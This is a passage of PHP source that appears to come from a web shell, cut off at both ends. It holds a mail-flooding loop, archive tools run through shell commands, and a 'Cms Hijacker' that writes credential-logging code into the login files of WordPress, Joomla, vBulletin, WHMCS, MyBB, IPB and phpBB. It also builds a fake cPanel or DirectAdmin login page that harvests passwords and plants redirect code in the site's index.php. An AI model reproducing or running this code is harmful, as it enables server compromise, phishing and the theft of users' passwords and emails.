charset=iso-8859-1\\r\\n";\r\n$mail_content .= "Content-Transfer-Encoding: 7bit\\r\\n\\r\\n";\r\n$mail_content .= $mail_content."\\r\\n\\r\\n";\r\n$mail_content .= "--".$uid."\\r\\n";\r\n$mail_content .= "Content-Type: application/octet-stream; name=\\"".$filename."\\"\\r\\n";\r\n$mail_content .= "Content-Transfer-Encoding: base64\\r\\n";\r\n$mail_content .= "Content-Disposition: attachment; filename=\\"".$filename."\\"\\r\\n\\r\\n";\r\n$mail_content .= $content."\\r\\n\\r\\n";\r\n$mail_content .= "--".$uid."--";\r\n}else{\r\n$headers = "From: " . $mail_from. " ( ".$mail_from." ) \\r\\n";\r\n$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \\r\\n";\r\n$headers .= \'Reply-To: \'.$mail_from.\'\' . "\\r\\n";\r\n$headers .= \'Content-type: text/html; charset=utf-8\' . "\\r\\n";\r\n$headers .= \'MIME-Version: 1.0\' . "\\r\\n";\r\n$headers .= \'X-Mailer: php\' . "\\r\\n";\r\n}\r\nif(empty($count_mail)||$count_mail<1)$count_mail=1;\r\nif(!empty($mail_from)){echo __pre();\r\nfor($i=1;$i<=$count_mail;$i++){\r\nif(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");\r\n}}else{__alert("Invalid Mail From !");}\r\n}else{__alert("Invalid Mail To !");}\r\n}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfaziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho \'<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>\r\n<form onSubmit="g(\\\'ziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\r\n<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>\r\n<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'alfa.zip" size="60"/>\r\n<input type="submit" value=" " name="ziper" />\r\n</form></center></p>\';\r\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\r\n$dirzip = $_POST[\'alfa3\'];\r\n$zipfile = $_POST[\'alfa4\'];\r\nif($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){\r\nalfaEx("powershell Compress-Archive -Path \'".addslashes($dirzip)."\' -DestinationPath \'".addslashes(basename($zipfile))."\'");\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\r\n}elseif($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){\r\nalfaEx("cd \'".addslashes(dirname($zipfile))."\';zip -r \'".addslashes(basename($zipfile))."\' \'".addslashes($dirzip)."\'");\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\r\n}elseif(class_exists(\'ZipArchive\')){\r\nif(__alfaziper($dirzip, $zipfile)){\r\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font></p></center>\';\r\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction __alfaziper($source,$destination){\r\n\tif(!extension_loaded(\'zip\')||!file_exists($source)){\r\n\t\treturn false;\r\n\t}\r\n\t$zip=new ZipArchive();\r\n\tif(!$zip->open($destination,ZIPARCHIVE::CREATE)){\r\n\t\treturn false;\r\n\t}\r\n\t$source=str_replace(\'\\\\\',\'/\',realpath($source));\r\n\tif(is_dir($source)===true){\r\n\t\t$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);\r\n\t\tforeach($files as $file){\r\n\t\t\t$file=str_replace(\'\\\\\',\'/\',$file);\r\n\t\t\tif(in_array(substr($file,strrpos($file,\'/\')+1),array(\'.\',\'..\')))continue;\r\n\t\t\t$file=realpath($file);\r\n\t\t\tif(is_dir($file)===true){\r\n\t\t\t\t$zip->addEmptyDir(str_replace($source.\'/\',\'\',$file.\'/\'));\r\n\t\t\t}else if(is_file($file)===true){\r\n\t\t\t\t$zip->addFromString(str_replace($source.\'/\',\'\',$file),file_get_contents($file));\r\n\t\t\t}\r\n\t\t}\r\n\t}else if(is_file($source)===true){\r\n\t\t$zip->addFromString(basename($source),file_get_contents($source));\r\n\t}\r\n\treturn $zip->close();\r\n}\r\nfunction alfadeziper(){\r\nalfahead();\r\nAlfaNum(8,9,10);\r\necho \'<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>\r\n<form onSubmit="g(\\\'deziper\\\',null,null,null,this.dirzip.value,this.zipfile.value,\\\'>>\\\');return false;" method="post">\r\n<div class="txtfont">File: </div> <input type="text" name="dirzip" value="\'.(!empty($_POST[\'alfa3\'])?htmlspecialchars($_POST[\'alfa3\']):htmlspecialchars($GLOBALS[\'cwd\'])).\'" size="60"/>\r\n<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="\'.$GLOBALS[\'cwd\'].\'" size="60"/>\r\n<input type="submit" value=" " name="ziper" />\r\n</form></center></p>\';\r\nif(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\')){\r\n$dirzip = $_POST[\'alfa3\'];\r\n$zipfile = $_POST[\'alfa4\'];\r\nif(@!is_dir($zipfile)){\r\n\t@mkdir($zipfile, 0777, true);\r\n}\r\n$finfo = "";\r\n$file_type = "";\r\nif(function_exists(\'finfo_open\')){\r\n$finfo = @finfo_open(FILEINFO_MIME_TYPE);\r\n$file_type = @finfo_file($finfo, $dirzip);\r\n@finfo_close($finfo);\r\n}else{\r\n\tif($GLOBALS[\'sys\']==\'unix\'&&_alfa_can_runCommand(true,true)){\r\n\t\t$file_type = alfaEx(\'file -b --mime-type \' . $dirzip);\r\n\t}\r\n}\r\nif($GLOBALS[\'sys\']!=\'unix\'&&_alfa_can_runCommand(true,true)){\r\nalfaEx("powershell expand-archive -path \'".addslashes($dirzip)."\' -destinationpath \'".addslashes(basename($zipfile))."\'");\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font></b></p></center>\';\r\n}elseif($GLOBALS[\'sys\']==\'unix\'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx(\'which unzip\')) > 0||strlen(alfaEx(\'which tar\')) > 0||strlen(alfaEx(\'which gunzip\')) > 0)){\r\nswitch ($file_type) {\r\n\tcase \'application/zip\':\r\n\t\talfaEx("cd \'".addslashes($zipfile)."\';unzip \'".addslashes($dirzip)."\'");\r\n\tbreak;\r\n\tcase \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':\r\n\t\tif(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){\r\n\t\t\talfaEx("cd \'".addslashes($zipfile)."\';tar xzf \'".addslashes($dirzip)."\'");\r\n\t\t}else{\r\n\t\t\talfaEx("cd \'".addslashes($zipfile)."\';gunzip \'".addslashes($dirzip)."\'");\r\n\t\t}\r\n\tbreak;\r\n}\r\necho __pre().\'<center><p>Done -> <b><font color="green">\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\\\'FilesMan\\\',\\\'\'.$zipfile.\'\\\');">[ View Folder ]</a></b></p></center>\';\r\n}elseif(class_exists(\'ZipArchive\')){\r\n\t$itsok = false;\r\n\tif(emtpy($file_type)){\r\n\t\t$file_type = "application/zip";\r\n\t}\r\n\tswitch ($file_type) {\r\n\t\tcase \'application/zip\':\r\n\t\t\t$zip = new ZipArchive;\r\n\t\t\t$res = $zip->open($dirzip);\r\n\t\t\tif ($res) {\r\n\t\t\t\t$zip->extractTo($zipfile);\r\n\t\t\t\t$zip->close();\r\n\t\t\t\t$itsok = true;\r\n\t\t\t}\r\n\t\tbreak;\r\n\t\tcase \'application/x-tar\': case \'application/x-gzip\': case \'application/x-gtar\':\r\n\t\t\tif(strstr(basename($dirzip), ".tar.gz")){\r\n\t\t\t\t$new_file = $zipfile .\'/\'. basename($dirzip);\r\n\t\t\t\t@copy($dirzip, $new_file);\r\n\t\t\t\t$new_tar = str_replace(".tar.gz", ".tar", $new_file);\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$p = new PharData($new_file);\r\n\t\t\t\t\t$p->decompress();\r\n\t\t\t\t\t$phar = new PharData($new_tar);\r\n\t\t\t\t\t$phar->extractTo($zipfile);\r\n\t\t\t\t\t@unlink($new_file);\r\n\t\t\t\t\t@unlink($new_tar);\r\n\t\t\t\t\t$itsok = true;\r\n\t\t\t\t} catch (Exception $e) {\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\ttry {\r\n\t\t\t\t\t$phar = new PharData($dirzip);\r\n\t\t\t\t\t$phar->extractTo($zipfile);\r\n\t\t\t\t\t$itsok = true;\r\n\t\t\t\t} catch (Exception $e) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\tbreak;\r\n\t}\r\nif($itsok){\r\necho __pre().\'<center><p><font color="green">Success...!<br>\'.$zipfile.\'</font> <a style="cursor:pointer;" onclick="g(\\\'FilesMan\\\',\\\'\'.$zipfile.\'\\\');">[ View Folder ]</a></p></center>\';\r\n}else{echo __pre().\'<center><p><font color="red">ERROR!!!...</font></p></center>\';}\r\n}\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacmshijacker(){\r\nalfahead();\r\nAlfaNum(5,6,7,8,9,10);\r\necho \'<div class=header><br>\r\n<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\\\'cmshijacker\\\',null,this.cmshi.value,this.saveto.value,\\\'>>\\\',this.cmspath.value);return false;" method=\\\'post\\\'>\r\n<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">\';\r\n$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");\r\nforeach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\r\necho("</select>");\r\necho \' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">\r\nSaveTo: <input size="50" type="text" name="saveto" value="\'.$GLOBALS[\'cwd\'].\'alfa.txt"></font>\r\n<input type="submit" name="btn" value=" "></form></center><br>\';\r\n$cms = $_POST[\'alfa1\'];\r\n$saveto = $_POST[\'alfa2\'];\r\n$cmspath = $_POST[\'alfa4\'];\r\nif(!empty($cms) AND !empty($saveto) AND $_POST[\'alfa4\'] AND $_POST[\'alfa3\'] == \'>>\'){\r\necho __pre();\r\nalfaHijackCms($cms,$cmspath,$saveto);\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaHijackCms($cms,$cmspath,$saveto){\r\nswitch($cms){\r\ncase "vb":\r\nhijackvBulletin($cmspath,$saveto);\r\nbreak;\r\ncase "wp":\r\nhijackwp($cmspath,$saveto);\r\nbreak;\r\ncase "jom":\r\nhijackJoomla($cmspath,$saveto);\r\nbreak;\r\ncase "whmcs":\r\nhijackWhmcs($cmspath,$saveto);\r\nbreak;\r\ncase "mybb":\r\nhijackMybb($cmspath,$saveto);\r\nbreak;\r\ncase "ipb":\r\nhijackIPB($cmspath,$saveto);\r\nbreak;\r\ncase "phpbb":\r\nhijackPHPBB($cmspath,$saveto);\r\nbreak;\r\ndefault:\r\necho "error!";\r\nbreak;\r\n}\r\n}\r\nfunction hijackvBulletin($path,$saveto){\r\n$code=\'$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\\\'" . $alfa_username . "\\\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \\\' : \\\' . $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\r\n$clearpw = \'defined(\\\'DISABLE_PASSWORD_CLEARING\\\')\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login = $path."/login.php";\r\n$class = $path."/includes/class_bootstrap.php";\r\n$dologin = \'do_login_redirect();\';\r\n$evil_login = "\\t".$code."\\n\\t".$dologin;\r\n$evil_class = "true";\r\nif((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){\r\n$data_login = @file_get_contents($login);\r\n$data_class = @file_get_contents($class);\r\nif(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){\r\n$login_replace = str_replace($dologin,$evil_login, $data_login);\r\n$class_replace = str_replace($clearpw,$evil_class, $data_class);\r\n@file_put_contents($login, $login_replace);\r\n@file_put_contents($class, $class_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackwp($path,$saveto){\r\n$code = \'$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\\\'log\\\']." : ".$_POST[\\\'pwd\\\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\r\n$redirect_wp = \'#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/wp-login.php";\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(@preg_match($redirect_wp, $data_login, $match)){\r\n$evil_login = "\\t".$match[0]."\\n\\t".$code;\r\n$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackJoomla($path,$saveto){\r\n$code = \'<?php jimport(\\\'joomla.user.authentication\\\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\\\'username\\\'=>$_POST[\\\'username\\\'],\\\'password\\\'=>$_POST[\\\'passwd\\\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\\\'passwd\\\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$comp=$path."/administrator/components/com_login/";\r\nif(@is_file($comp."/login.php")){\r\n$login = $comp."/login.php";\r\n}elseif(@is_file($comp."/admin.login.php")){\r\n$login = $comp."/admin.login.php";\r\n}else{\r\n$login = \'\';\r\n}\r\nif(@is_file($login) AND @is_writable($login) AND $login != \'\'){\r\n$data_login = @file_get_contents($login);\r\n$evil_login = $code."\\n".$data_login;\r\n@file_put_contents($login, $evil_login);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackWhmcs($path,$saveto){\r\n$code = \'<?php if(isset($_POST[\\\'username\\\']) AND isset($_POST[\\\'password\\\']) AND !empty($_POST[\\\'username\\\']) AND !empty($_POST[\\\'password\\\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\\\'username\\\'];$alfa_pw = @$_POST[\\\'password\\\'];if(isset($_POST[\\\'language\\\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \\\'$alfa_uname\\\' AND `password` = \\\'".md5($alfa_pw)."\\\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \\\'$alfa_uname\\\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\\\':\\\', $row[\\\'password\\\']);$__encPW = md5($__salt[1].$_POST[\\\'password\\\']).\\\':\\\'.$__salt[1];if($row[\\\'password\\\'] == $__encPW){$allow = true;$row[\\\'username\\\'] = $row[\\\'email\\\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\\\'username\\\'] . \\\' : \\\' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \\\'is_admin\\\' : \\\'is_user\\\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$conf=$path."/configuration.php";\r\nif(@is_file($conf) AND @is_writable($conf)){\r\n$data_conf = @file_get_contents($conf);\r\nif(!strstr($data_conf,\'?>\'))$code = \'?>\'.$code;\r\n$evil_conf = $data_conf."\\n".$code;\r\n@file_put_contents($conf, $evil_conf);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackMybb($path,$saveto){\r\n$code = \'$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \\\'".$user[\\\'username\\\']."\\\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\\\'username\\\']." : ". $user[\\\'password\\\']." ( ".$alfa_fetch[\\\'email\\\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);\';\r\n$find = \'$loginhandler->complete_login();\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/member.php";\r\n$evil_login = "\\t".$code."\\n\\t".$find;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackIPB($path,$saveto){\r\n$code = \'$Alfa_q = $this->DB->buildAndFetch(array(\\\'select\\\' => \\\'email\\\', \\\'from\\\' => \\\'members\\\', \\\'where\\\' => \\\'name="\\\'.$username.\\\'" OR email="\\\'.$email.\\\'"\\\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\\\'ips_username\\\'].\\\' : \\\'.$_POST[\\\'ips_password\\\'].\\\' ( \\\'.$Alfa_q[\\\'email\\\'].\\\' )\\\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);\';\r\n$find = \'unset( $member[\\\'plainPassword\\\'] );\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/admin/sources/handlers/han_login.php";\r\n$evil_login = "\\t".$find."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackPHPBB($path,$saveto){\r\n$code = \'$Alfa_u = request_var(\\\'username\\\', \\\'\\\');$Alfa_p = request_var(\\\'password\\\', \\\'\\\');if($Alfa_u != \\\'\\\' AND $Alfa_p != \\\'\\\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\\\'status\\\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\\\'user_row\\\'][\\\'user_email\\\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}\';\r\n$find = \'case \\\'login\\\':\';\r\n$code=str_replace(\'{saveto_path}\',$saveto,$code);\r\n$login=$path."/ucp.php";\r\n$evil_login = "\\t".$find."\\n\\t".$code;\r\nif(@is_file($login) AND @is_writable($login)){\r\n$data_login = @file_get_contents($login);\r\nif(strstr($data_login, $find)){\r\n$login_replace = str_replace($find,$evil_login, $data_login);\r\n@file_put_contents($login, $login_replace);\r\nhijackOutput(0,$saveto);\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}else{\r\nhijackOutput(1);\r\n}\r\n}\r\nfunction hijackOutput($c=0,$p=\'\'){echo($c==0?"<center><font color=\'green\'>Success</font> --> path: $p</center>":\'<center><font color="red">Error in inject code !</font></center>\');}\r\nfunction Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){\r\nif(@is_dir($dir)){\r\n$files=@scandir($dir);\r\nforeach($files as $key => $value){\r\n$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);\r\nif(!@is_dir($path)){\r\nif($ext!=\'*\'){$f = basename($path);$f = explode(\'.\',$f);$f = end($f);if($f!=$ext)continue;}\r\nif($e==\'str\'){\r\n$content = @file_get_contents($path);\r\nif(strpos($content, $string) !== false){\r\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\r\n}\r\n}else{\r\nif(strstr($value,$string)){\r\necho str_replace(\'\\\\\',\'/\',$path) . "<br>";\r\n}\r\n}\r\n$results[] = $path;\r\n}elseif($value != "." && $value != "..") {\r\nAlfa_StrSearcher($path,$string,$ext,$e,$results);\r\n$results[] = $path;\r\n}}}}\r\nfunction alfafakepage(){\r\n\talfahead();\r\n\tAlfaNum(9,10);\r\n\techo \'<div class=header><br>\r\n\t<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\\\'fakepage\\\',null,this.clone_page.value,this.fake_root.value,\\\'>>\\\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\\\'post\\\'>\r\n\t<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">\';\r\n\t$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");\r\n\tforeach($cm_array as $key=>$val)echo \'<option value="\'.$key.\'">\'.$val.\'</option>\';\r\n\techo("</select></div>");\r\n\techo \'<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>\r\n\t<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/fake_page_root/"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="\'.$_SERVER["DOCUMENT_ROOT"].\'/index.php"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: \'.$_SERVER["DOCUMENT_ROOT"].\'/wp-login.php"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="\'.$GLOBALS[\'cwd\'].\'logs.txt"></div>\r\n\t<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>\r\n\t<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>\';\r\n\t$clone_page = $_POST[\'alfa1\'];\r\n\t$fake_root = $_POST[\'alfa2\'];\r\n\t$logto = $_POST[\'alfa4\'];\r\n\t$panel = $_POST[\'alfa5\'];\r\n\t$inject_to = $_POST[\'alfa6\'];\r\n\t$bind_on = $_POST[\'alfa7\'];\r\n\t$count = $_POST[\'alfa8\'];\r\n\tif(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST[\'alfa3\'] == \'>>\'){\r\n\t\techo __pre();\r\n\t\t$target = $clone_page;\r\n\t\t$curl = new AlfaCURL();\r\n\t\t$source_page = $curl->Send($target);\r\n\t\tif(!empty($source_page)){\r\n\t\t\t$matched_form = "";\r\n\t\t\tif($panel == "cpanel"){\r\n\t\t\t\tif(preg_match(\'#<form(.*)id="login_form"(.*)>#\', $source_page, $match)){\r\n\t\t\t\t\t$matched_form = $match[0];\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tif(preg_match(\'#<form(.*?)>#\', $source_page, $match)){\r\n\t\t\t\t\t$matched_form = $match[0];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!empty($matched_form)){\r\n\t\t\t\t$fake = "";\r\n\t\t\t\t$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $fake_root);\r\n\t\t\t\t$uri = str_replace($_SERVER["DOCUMENT_ROOT"], \'\', $inject_to);\r\n\t\t\t\tif($panel == "cpanel"){\r\n\t\t\t\t\t$port = "2083";\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$target = str_replace(array("http://", "https://"), "", $target);\r\n\t\t\t\t\t$port = explode(":",$target);\r\n\t\t\t\t\t$port = $port[1];\r\n\t\t\t\t}\r\n\t\t\t\tif(substr($uri, 0, 1) == "/"){\r\n\t\t\t\t\t$uri = substr($uri, 1);\r\n\t\t\t\t}\r\n\t\t\t\t$uri = $_SERVER["HTTP_ORIGIN"] . \'/\' . str_replace("index.php", "", $uri) . \'?:\' . $port;\r\n\t\t\t\t$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . \'/log.php\';\r\n\t\t\t\tif($panel == "cpanel"){\r\n\t\t\t\t\t$form = \'<form novalidate id="login_form" action="\'.$log_url.\'" method="post" target="_top" style="visibility:">\';\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$form = \'<form action="\'.$log_url.\'" method="post">\';\r\n\t\t\t\t}\r\n\t\t\t\t$fake = str_replace($matched_form, $form, $source_page);\r\n\t\t\t\tif(@!is_dir($fake_root)){\r\n\t\t\t\t\t@mkdir($fake_root, 0777, true);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);\r\n\r\n\t\t\t\t$post_user = \'user\';\r\n\t\t\t\t$post_pass = \'pass\';\r\n\t\t\t\t$resp_code = \'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}\';\r\n\t\t\t\tif($panel != "cpanel"){\r\n\t\t\t\t\t$post_user = \'username\';\r\n\t\t\t\t\t$post_pass = \'password\';\r\n\t\t\t\t\t$resp_code = \'@header("Location: ".$_SERVER[\\\'HTTP_REFERER\\\']);\';\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$cpanel_log = \'<?php $cook_time = time()+(86400 * 7); $user = $_POST["\'.$post_user.\'"];$pass = $_POST["\'.$post_pass.\'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["\'.$cookie_name.\'"])){@setcookie("\'.$cookie_name.\'", 0, $cook_time, "/");$_COOKIE["\'.$cookie_name.\'"]=1;}if((int)$_COOKIE["\'.$cookie_name.\'"]>\'.$count.\'){@header("Location: /");exit;}@setcookie("\'.$cookie_name.\'", ((int)$_COOKIE["\'.$cookie_name.\'"] + 1), $cook_time, "/");$fp = @fopen("\'.$logto.\'", "a+");@fwrite($fp, $user . " : " . $pass . "\\n");fclose($fp);sleep(3);\'.$resp_code.\'exit;}?>\';\r\n\r\n\t\t\t\t@file_put_contents($fake_root.\'/log.php\', $cpanel_log);\r\n\r\n\t\t\t\tif($panel == "cpanel"){\r\n\t\t\t\t\t$fake = preg_replace(array(\'#<link(.*)href="(.*)"(.*)>#\', \'#<img class="main-logo" src="(.*)"(.*)>#\', \'# <a(.*)id="reset_password">#\'), array(\'<link href="\'.$target.\'/$2">\', \'<img class="main-logo" src="\'.$target.\'/$1" alt="logo" />\', \'<a href="#" id="reset_password">\'), $fake);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t@file_put_contents($fake_root.\'/index.php\', $fake);\r\n\r\n\t\t\t\t$inject_code = \'<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@include("\'.$fake_root.\'/index.php");exit;}?>\';\r\n\t\t\t\t$bind_on_code = \'<?php if((int)$_COOKIE["\'.$cookie_name.\'"]<\'.$count.\'){@header("Location: \'.$uri.\'");exit;}?>\';\r\n\r\n\t\t\t\t@file_put_contents($inject_to, $inject_code . 